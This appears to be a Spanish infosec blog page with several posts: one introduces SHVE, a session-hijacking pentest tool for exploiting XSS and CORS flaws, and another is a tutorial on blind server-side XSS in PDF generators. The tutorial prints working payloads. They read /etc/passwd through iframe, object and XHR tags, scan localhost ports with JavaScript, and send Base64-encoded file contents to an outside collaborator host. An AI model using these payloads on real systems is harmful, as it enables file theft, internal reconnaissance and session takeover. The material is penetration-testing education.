Session Hijacking Visual Exploitation [SHVE] - Estamos de vuelta

¡Hola a todos! 

Después de un largo y movidito periodo de silencio, y después de llevar un tiempo pensando sobre ello, he decidido que me gustaría volver a escribir por aquí de manera algo más continua, me he propuesto (no se si seré capaz) intentar escribir todas las semanas algo por aquí, puede que en el alguna ocasión cosas no tan técnicas como me gustaría ya que puede ser insostenible, por lo que en algunas ocasiones intentaré escribir algunas cositas del mundo de infosec, o dar pequeños tips que haya aprendido durante la semana para que sea algo más sencillo no fallar. 

Fuera de todo esto, vamos al lío. Hoy, hoy voy a presentar una herramienta que he estado desarrollando en la empresa no hace mucho tiempo: Session Hijacking Visual Exploitation (SHVE). Pero antes de meternos en la herramienta vamos a explicar un poquito que es esto del Session Hijacking.

¿Qué es el Session Hijacking?

Session Hijacking es una técnica donde un atacante toma el control de la sesión de un usuario. Esto puede lograrse de diversas maneras, como interceptando las cookies de sesión y usándolas para ganar acceso a las cuentas de los usuarios, o inyectando código malicioso para controlar sus acciones.

SHVE

SHVE es una herramienta visual que permite a los pentesters y ejecutar Session Hijacking de manera efectiva y visual. Actualmente tiene dos modos fáciles de utilizar:

• Modo interactivo: Este modo nos permite navegar a través de los sitios web exactamente de la misma manera que lo haría la víctima, utilizando su contexto de seguridad. Esto significa que, por ejemplo, si la víctima tiene sesiones activas en sitios web protegidos por contraseña, también se puede acceder a ellas sin necesidad de las credenciales.

• Modo visual: Proporciona una vista en tiempo real de la actividad del usuario comprometido. Cada movimiento, clic, o información introducida por el usuario puede ser visualizada en tiempo real, lo que permite un entendimiento claro y tangible del tipo de información y acceso que un atacante podría obtener.

Casos de uso

La herramienta se puede utilizar igual que cualquier herramienta que sirva para la explotación de Session Hijacking como puede ser el archiconocido Beef. Aunque bajo mi punto de vista, mucho más amigable de utilizar ya que es todo muy visual y nos puede ser muy útil en ciertos casos específicos.

• Explotación de XSS. La herramienta permite una explotación clara y sencilla de las vulnerabilidades XSS. No solo permite ver lo que el usuario comprometido está haciendo, sino también interactuar con el sitio web de destino en su nombre. Por ejemplo, podría utilizarse para cambiar la contraseña del usuario, alterar la configuración de la cuenta, o realizar transacciones fraudulentas de manera visual y sencilla.

• Explotación de CORS mal configuradas. Las configuraciones CORS incorrectas o excesivamente permisivas pueden ser explotadas de manera práctica utilizando SHVE. Si un sitio web permite solicitudes de origen cruzado desde dominios no confiables, SHVE puede ayudar a demostrar el riesgo real asociado con esta mala configuración, posibilitando ataques que expongan o manipulen datos confidenciales sin requerir códigos maliciosos complejos.

• Ejemplo del Chat. Un caso que me gusta contar que puede diferenciar SHVE de otras herramientas es el siguiente. Imaginemos un caso donde exista un chat de soporte técnico en una aplicación web que, por motivos de privacidad y seguridad, no almacene los mensajes intercambiados. Con SHVE en el Modo Visual, se podría visualizar visualizar en tiempo real las conversaciones del chat que la víctima está teniendo, pudiendo capturar información confidencial que de otra manera sería inaccesible.

¿Cómo lo uso?

La instalación y uso están bien indicados en el repositorio de Github, basta con que lo clones, sigas los pasos e inyectes el código malicioso (se puede obtener desde el cliente) donde quieras explotarlo.

Conclusiones

Bueno, espero que cada uno saque sus conclusiones, si os gusta dadle algo de apoyo para seguir actualizándolo y dándole mas caña a la herramienta. Por último voy a dejar un video donde se ve como funciona.
Saluti.

HTB con @J0MoZ4 #Haircut

 

HTB con @J0MoZ4 #Europa​

 

Blind Server Side XSS

Muy buenas a todos,

Hoy quería explicar como funciona y como podríamos explotar una vulnerabilidad que me he encontrado hace poco y que me ha parecido interesante para hacer un Post.

La vulnerabilidad (como dice el título) es Blind Server Side XSS, pero antes de meternos a ciegas, voy a explicar en que consiste la vulnerabilidad Server Side XSS.

 

Server Side XSS

Esta vulnerabilidad se da, cuando el servidor coge una entrada de un usuario y parsea el HTML de alguna forma, yo lo he visto en dos casos diferentes:

• Cuando un input introducido por el usuario aparece más tarde dentro de un PDF.
• Cuando el servidor quiere saber si en el input introducido se está ejecutando código JavaScript (Como medida de evasión para evitar XSS).

El segundo caso sería Blind como quería contar en este Post, pero antes de esto voy a mostrar un ejemplo del primer caso para que se entienda el concepto.

 

Imaginemos un caso en el que un PDF se nos genera dinamicamente, ya sea para ofrecernos un contrato o por cualquier otro motivo, y en este PDF que se esta generando contiene información que nosotros le hayamos indicado en algún momento.

Es posible, dependiendo de cada caso, que el generador que se este utilizando para obtener el PDF acepte HTML y lo interprete dependiendo de cada caso, por lo que nosotros podríamos utilizar cualquier etiqueta que nos apetezca.

Como prueba de concepto he configurado un generador de PDFs que acepta HTML y he inyectado un tag "<h2>".

 

Como podemos ver estamos siendo capaces de introducir Tags, ¿y que podemos hacer con esto? 

Lo que vayamos a poder hacer depende mucho del parser, pero a mi se me ocurren las siguientes opciones que deberíamos de probar y que pudieran funcionar:

• En el mejor de los casos en el que no nos filtrase nada podríamos intentar leer ficheros, podríamos hacerlo de las siguientes formas.

<iframe src="file:///etc/passwd"></iframe>

<object data="file:///etc/passwd">

<script>

x=new XMLHttpRequest;

x.onload=function(){document.write(this.responseText)};

x.open("GET","file:///etc/passwd");x.send();

</script>

 

(El parser que utilizaba no es vulnerable a este tipo de ataque por lo que la imagen es de internet).

• En el caso de que no permitiera acceder a ficheros del sistema, podríamos intentar acceder a servicios internos a los que no tendríamos acceso en un primer momento. Para esto podríamos usar las mismas técnicas que hemos utilizado en el punto anterior.

De esta forma, pudiendo acceder a servicios internos, podríamos con JavaScript realizar un escaneo interno de puertos para más tarde interactuar con ellos.

<script>
const checkPort = (port) => {
    fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
        let img = document.createElement("img");
        document.write(port + " ");
    });
}

for(let i=0; i<1000; i++) {
    checkPort(i);
}
</script>
<img src=x onerror="checkPort()">

• También existe el caso en el que el parser tuviera en cuenta las Cors (más información sobre las Cors), en este caso tan solo podríamos realizar peticiones al servicio Web desde el que se está ejecutando el Parser, por lo que no podríamos trastear bien con otros servicios o equipos de la red interna, sin embargo al estar realizando las peticiones desde localhost podríamos utilizarlo para evitar otros filtros de seguridad:

1. Conseguir Directory Listing en directorios donde en un principio no tendríamos.
2. Evadir medidas de protección Anti-BruteForce.
3. Acceder a sitios en los que en principio no podíamos, como paneles de administración u otros similares.

 

Blind Server Side XSS

Una vez que ya hemos entendido como funcionan las Server Side XSS vamos a ir al caso que encontré yo, donde el parseo del HTML se realiza a ciegas y no muestra la respuesta de este (pudiera ser como forma de detectar XSS).

Una forma de detectarlo sería añadiendo un tag <iframe> o <img> donde añadamos la URL de nuestro servidor como src (yo usaré Burp Collaborator), pudiendo detectar si este código HTML se está parseando.

<iframe src="http://burpCollaboratorPayload.net">

 

Una vez que sepamos que el servidor es vulnerable a Blind Server Side XSS la posible explotación es la misma, la única diferencia es que al no ver el contenido tras el parseo de nuestro script, deberemos encodearlo en Base64 (para no perder parte del contenido) y enviárnoslo a nuestro servidor malicioso.

<script>
x=new XMLHttpRequest;
y=new XMLHttpRequest;
x.onload=function(){y.open("GET","http://burpCollaboratorPayload.net/?test="+btoa(this.responseText));y.send()};
x.open("GET","file:///etc/passwd");x.send();
</script>

 

De esta forma ya podríamos explotar la vulnerabilidad y tendríamos las mismas posibilidades que si esta no fuera Blind. 

De momento he acabado si os apetece me podéis seguir en Twitter para ver nuevos Posts y así echarme de paso una manita.

Saluti.

En beses es peor el remedio que la enfermedad.